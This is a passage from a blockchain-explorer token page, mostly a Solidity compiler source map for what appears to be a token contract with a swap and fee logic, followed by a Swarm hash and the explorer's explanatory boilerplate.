;:::o;4054:95::-;4107:7;2937:15;2881:1;2937:2;:15;:::i;:::-;2924:28;;:10;:28;:::i;:::-;4127:14;;4054:95;:::o;4779:266::-;4877:4;4894:36;4904:6;4912:9;4923:6;4894:9;:36::i;:::-;-1:-1:-1;;;;;4972:19:0;;;;;;:11;:19;;;;;;;;173:10;4972:33;;;;;;;;;4941:74;;4950:6;;4972:42;;5008:6;;4972:42;:::i;:::-;4941:8;:74::i;:::-;-1:-1:-1;5033:4:0;4779:266;;;;;;:::o;730:148::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;;;;;;;;;837:1:::1;821:6:::0;;800:40:::1;::::0;-1:-1:-1;;;;;821:6:0;;::::1;::::0;800:40:::1;::::0;837:1;;800:40:::1;868:1;851:19:::0;;-1:-1:-1;;;;;;851:19:0::1;::::0;;730:148::o;6008:131::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;6076:13:::1;:11;:13::i;:::-;6062:11;:27:::0;6118:13:::1;:11;:13::i;:::-;6100:15;:31:::0;6008:131::o;5504:336::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;5568:14:::1;::::0;::::1;;5567:15;5559:43;;;::::0;-1:-1:-1;;;5559:43:0;;5416:2:1;5559:43:0::1;::::0;::::1;5398:21:1::0;5455:2;5435:18;;;5428:30;-1:-1:-1;;;5474:18:1;;;5467:45;5529:18;;5559:43:0::1;5214:339:1::0;5559:43:0::1;5650:6;::::0;5613:15:::1;:44:::0;;-1:-1:-1;;;;;;5613:44:0::1;-1:-1:-1::0;;;;;5650:6:0;;::::1;5613:44:::0;;::::1;::::0;;5702:25:::1;::::0;;-1:-1:-1;;;5702:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;5650:6;5702:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5684:52:0::1;;5745:4;5752:15;;;;;;;;;-1:-1:-1::0;;;;;5752:15:0::1;-1:-1:-1::0;;;;;5752:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5684:91;::::0;-1:-1:-1;;;;;;5684:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6006:32:1;;;5684:91:0::1;::::0;::::1;5988:51:1::0;6075:32;;6055:18;;;6048:60;5961:18;;5684:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5676:4;::::0;-1:-1:-1;;;;;5676:4:0;;::::1;:99:::0;::::1;;5668:132;;;::::0;-1:-1:-1;;;5668:132:0;;6321:2:1;5668:132:0::1;::::0;::::1;6303:21:1::0;6360:2;6340:18;;;6333:30;-1:-1:-1;;;6379:18:1;;;6372:50;6439:18;;5668:132:0::1;6119:344:1::0;5668:132:0::1;5811:14;:21:::0;;-1:-1:-1;;5811:21:0::1;5828:4;5811:21;::::0;;5504:336::o;4284:167::-;4362:4;4379:42;173:10;4403:9;4414:6;4379:9;:42::i;5053:335::-;-1:-1:-1;;;;;5146:19:0;;5138:68;;;;-1:-1:-1;;;5138:68:0;;6670:2:1;5138:68:0;;;6652:21:1;6709:2;6689:18;;;6682:30;6748:34;6728:18;;;6721:62;-1:-1:-1;;;6799:18:1;;;6792:34;6843:19;;5138:68:0;6468:400:1;5138:68:0;-1:-1:-1;;;;;5225:21:0;;5217:68;;;;-1:-1:-1;;;5217:68:0;;7075:2:1;5217:68:0;;;7057:21:1;7114:2;7094:18;;;7087:30;7153:34;7133:18;;;7126:62;-1:-1:-1;;;7204:18:1;;;7197:32;7246:19;;5217:68:0;6873:398:1;5217:68:0;-1:-1:-1;;;;;5296:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5348:32;;1283:25:1;;;5348:32:0;;1256:18:1;5348:32:0;;;;;;;;5053:335;;;:::o;6352:1098::-;6450:1;6441:6;:10;6433:34;;;;-1:-1:-1;;;6433:34:0;;7478:2:1;6433:34:0;;;7460:21:1;7517:2;7497:18;;;7490:30;-1:-1:-1;;;7536:18:1;;;7529:41;7587:18;;6433:34:0;7276:335:1;6433:34:0;6485:14;;;;6480:217;;554:7;581:6;-1:-1:-1;;;;;6524:15:0;;;581:6;;6524:15;6516:47;;;;-1:-1:-1;;;6516:47:0;;7818:2:1;6516:47:0;;;7800:21:1;7857:2;7837:18;;;7830:30;-1:-1:-1;;;7876:18:1;;;7869:49;7935:18;;6516:47:0;7616:343:1;6516:47:0;6582:4;;-1:-1:-1;;;;;6582:4:0;6578:108;;6621:4;:9;;-1:-1:-1;;;;;;6621:9:0;-1:-1:-1;;;;;6621:9:0;;;;;6649:21;6653:4;6621:9;6663:6;6649:3;:21::i;:::-;;6578:108;-1:-1:-1;;;;;6713:21:0;;6729:4;6713:21;;:44;;-1:-1:-1;;;;;;6738:19:0;;6752:4;6738:19;6713:44;:56;;;-1:-1:-1;6761:8:0;;;;;;;6713:56;6709:142;;;6786:32;6801:4;6807:2;6811:6;6786:14;:32::i;:::-;6352:1098;;;:::o;6709:142::-;6873:4;;-1:-1:-1;;;;;6867:10:0;;;6873:4;;6867:10;:60;;;;-1:-1:-1;6909:18:0;;6899:4;4223:7;4250:18;;;:9;:18;;;;;;6881:46;;6867:60;6863:231;;;6944:8;:15;;-1:-1:-1;;6944:15:0;;;;;6974:42;6991:24;7009:4;-1:-1:-1;;;;;4250:18:0;4223:7;4250:18;;;:9;:18;;;;;;;4157:119;6991:24;6974:16;:42::i;:::-;7031:8;:16;;-1:-1:-1;;7031:16:0;;;7062:20;:18;:20::i;:::-;7118:4;;-1:-1:-1;;;;;7110:12:0;;;7118:4;;7110:12;:28;;;;-1:-1:-1;7132:6:0;;-1:-1:-1;;;;;7126:12:0;;;7132:6;;7126:12;;7110:28;7106:207;;;7173:11;;7163:6;:21;;7155:49;;;;-1:-1:-1;;;7155:49:0;;8166:2:1;7155:49:0;;;8148:21:1;8205:2;8185:18;;;8178:30;-1:-1:-1;;;8224:18:1;;;8217:45;8279:18;;7155:49:0;7964:339:1;7155:49:0;7262:15;;7252:6;7227:22;7245:2;-1:-1:-1;;;;;4250:18:0;4223:7;4250:18;;;:9;:18;;;;;;;4157:119;7227:22;:31;;;;:::i;:::-;:50;;7219:82;;;;-1:-1:-1;;;7219:82:0;;8640:2:1;7219:82:0;;;8622:21:1;8679:2;8659:18;;;8652:30;-1:-1:-1;;;8698:18:1;;;8691:49;8757:18;;7219:82:0;8438:343:1;7219:82:0;7362:4;;7334:33;;7342:4;;7348:6;;-1:-1:-1;;;;;7356:10:0;;;7362:4;;7356:10;7334:7;:33::i;:::-;7325:42;;7378:32;7393:4;7399:2;7403:6;7378:14;:32::i;:::-;7421:21;7425:4;7431:2;7435:6;7421:3;:21::i;:::-;;6352:1098;;;:::o;5848:152::-;5921:4;5960:8;5474:12;;;5396:100;5960:8;5945:47;;-1:-1:-1;;;5945:47:0;;-1:-1:-1;;;;;9006:32:1;;;5945:47:0;;;8988:51:1;9075:32;;;9055:18;;;9048:60;9124:18;;;9117:34;;;5945:29:0;;;;;;;8961:18:1;;5945:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5938:54;5848:152;-1:-1:-1;;;;5848:152:0:o;6147:197::-;-1:-1:-1;;;;;6233:15:0;;;;;;:9;:15;;;;;:25;;6252:6;;6233:15;:25;;6252:6;;6233:25;:::i;:::-;;;;-1:-1:-1;;;;;;;6269:13:0;;;;;;:9;:13;;;;;:23;;6286:6;;6269:13;:23;;6286:6;;6269:23;:::i;:::-;;;;;;;;6325:2;-1:-1:-1;;;;;6310:26:0;6319:4;-1:-1:-1;;;;;6310:26:0;;6329:6;6310:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;7791:541:0;7882:16;;;7896:1;7882:16;;;;;;;;7858:21;;7882:16;;;;;;;;;;-1:-1:-1;7882:16:0;7858:40;;7927:4;7909;7914:1;7909:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7909:23:0;;;:7;;;;;;;;;;:23;;;;7953:15;;:22;;;-1:-1:-1;;;7953:22:0;;;;:15;;;;;:20;;:22;;;;;7909:7;;7953:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7943:4;7948:1;7943:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7943:32:0;;;:7;;;;;;;;;:32;8020:15;;7988:62;;8005:4;;8020:15;8038:11;7988:8;:62::i;:::-;8065:15;;8207:9;;8065:217;;-1:-1:-1;;;8065:217:0;;-1:-1:-1;;;;;8065:15:0;;;;:66;;:217;;8146:11;;8065:15;;8188:4;;8207:9;;;8065:15;;8256;;8065:217;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8061:264;;8307:7;7791:541;:::o;8061:264::-;7847:485;7791:541;:::o;8340:156::-;8394:21;:25;8390:99;;8436:9;;:41;;-1:-1:-1;;;;;8436:9:0;;;;8455:21;8436:41;;;;;:9;:41;:9;:41;8455:21;8436:9;:41;;;;;;;;;;;;;;;;;;;;;8390:99;8340:156::o;7458:325::-;7536:7;7556:11;7570:6;:25;;7589:6;;;;;;;7570:25;;;7579:7;;;;;;;7570:25;7556:39;;;;7610:3;7617:1;7610:8;7606:27;;7627:6;7620:13;;;;;7606:27;7644:17;7679:3;7664:12;7673:3;7664:6;:12;:::i;:::-;:18;;;;:::i;:::-;7644:38;;7693:46;7708:4;7722;7729:9;7693:14;:46::i;:::-;7757:18;7766:9;7757:6;:18;:::i;:::-;7750:25;7458:325;-1:-1:-1;;;;;;7458:325:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2590:388::-;2658:6;2666;2719:2;2707:9;2698:7;2694:23;2690:32;2687:52;;;2735:1;2732;2725:12;2687:52;2774:9;2761:23;2793:31;2818:5;2793:31;:::i;:::-;2843:5;-1:-1:-1;2900:2:1;2885:18;;2872:32;2913:33;2872:32;2913:33;:::i;:::-;2965:7;2955:17;;;2590:388;;;;;:::o;2983:127::-;3044:10;3039:3;3035:20;3032:1;3025:31;3075:4;3072:1;3065:15;3099:4;3096:1;3089:15;3115:375;3203:1;3221:5;3235:249;3256:1;3246:8;3243:15;3235:249;;;3306:4;3301:3;3297:14;3291:4;3288:24;3285:50;;;3315:18;;:::i;:::-;3365:1;3355:8;3351:16;3348:49;;;3379:16;;;;3348:49;3462:1;3458:16;;;;;3418:15;;3235:249;;;3115:375;;;;;;:::o;3495:902::-;3544:5;3574:8;3564:80;;-1:-1:-1;3615:1:1;3629:5;;3564:80;3663:4;3653:76;;-1:-1:-1;3700:1:1;3714:5;;3653:76;3745:4;3763:1;3758:59;;;;3831:1;3826:174;;;;3738:262;;3758:59;3788:1;3779:10;;3802:5;;;3826:174;3863:3;3853:8;3850:17;3847:43;;;3870:18;;:::i;:::-;-1:-1:-1;;3926:1:1;3912:16;;3985:5;;3738:262;;4084:2;4074:8;4071:16;4065:3;4059:4;4056:13;4052:36;4046:2;4036:8;4033:16;4028:2;4022:4;4019:12;4015:35;4012:77;4009:203;;;-1:-1:-1;4121:19:1;;;4197:5;;4009:203;4244:42;-1:-1:-1;;4269:8:1;4263:4;4244:42;:::i;:::-;4322:6;4318:1;4314:6;4310:19;4301:7;4298:32;4295:58;;;4333:18;;:::i;:::-;4371:20;;3495:902;-1:-1:-1;;;3495:902:1:o;4402:140::-;4460:5;4489:47;4530:4;4520:8;4516:19;4510:4;4489:47;:::i;4547:168::-;4620:9;;;4651;;4668:15;;;4662:22;;4648:37;4638:71;;4689:18;;:::i;4720:128::-;4787:9;;;4808:11;;;4805:37;;;4822:18;;:::i;4853:356::-;5055:2;5037:21;;;5074:18;;;5067:30;5133:34;5128:2;5113:18;;5106:62;5200:2;5185:18;;4853:356::o;5558:251::-;5628:6;5681:2;5669:9;5660:7;5656:23;5652:32;5649:52;;;5697:1;5694;5687:12;5649:52;5729:9;5723:16;5748:31;5773:5;5748:31;:::i;8308:125::-;8373:9;;;8394:10;;;8391:36;;;8407:18;;:::i;9162:277::-;9229:6;9282:2;9270:9;9261:7;9257:23;9253:32;9250:52;;;9298:1;9295;9288:12;9250:52;9330:9;9324:16;9383:5;9376:13;9369:21;9362:5;9359:32;9349:60;;9405:1;9402;9395:12;9576:127;9637:10;9632:3;9628:20;9625:1;9618:31;9668:4;9665:1;9658:15;9692:4;9689:1;9682:15;9708:1051;10006:4;10054:3;10043:9;10039:19;10085:6;10074:9;10067:25;10128:6;10123:2;10112:9;10108:18;10101:34;10171:3;10166:2;10155:9;10151:18;10144:31;10195:6;10230;10224:13;10261:6;10253;10246:22;10299:3;10288:9;10284:19;10277:26;;10338:2;10330:6;10326:15;10312:29;;10359:1;10369:195;10383:6;10380:1;10377:13;10369:195;;;10448:13;;-1:-1:-1;;;;;10444:39:1;10432:52;;10513:2;10539:15;;;;10504:12;;;;10480:1;10398:9;10369:195;;;-1:-1:-1;;;;;;;10620:32:1;;;10615:2;10600:18;;10593:60;2339:31;;10704:3;10689:19;;2327:44;10581:3;-1:-1:-1;10662:47:1;;-1:-1:-1;2273:104:1;10662:47;10746:6;10740:3;10729:9;10725:19;10718:35;9708:1051;;;;;;;;;:::o;10764:217::-;10804:1;10830;10820:132;;10874:10;10869:3;10865:20;10862:1;10855:31;10909:4;10906:1;10899:15;10937:4;10934:1;10927:15;10820:132;-1:-1:-1;10966:9:1;;10764:217::o

Swarm Source

ipfs://4cf1a600c7a3fc089a7cad625c5e648a312bf07aba2dff6b30366b6891c77e9b
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.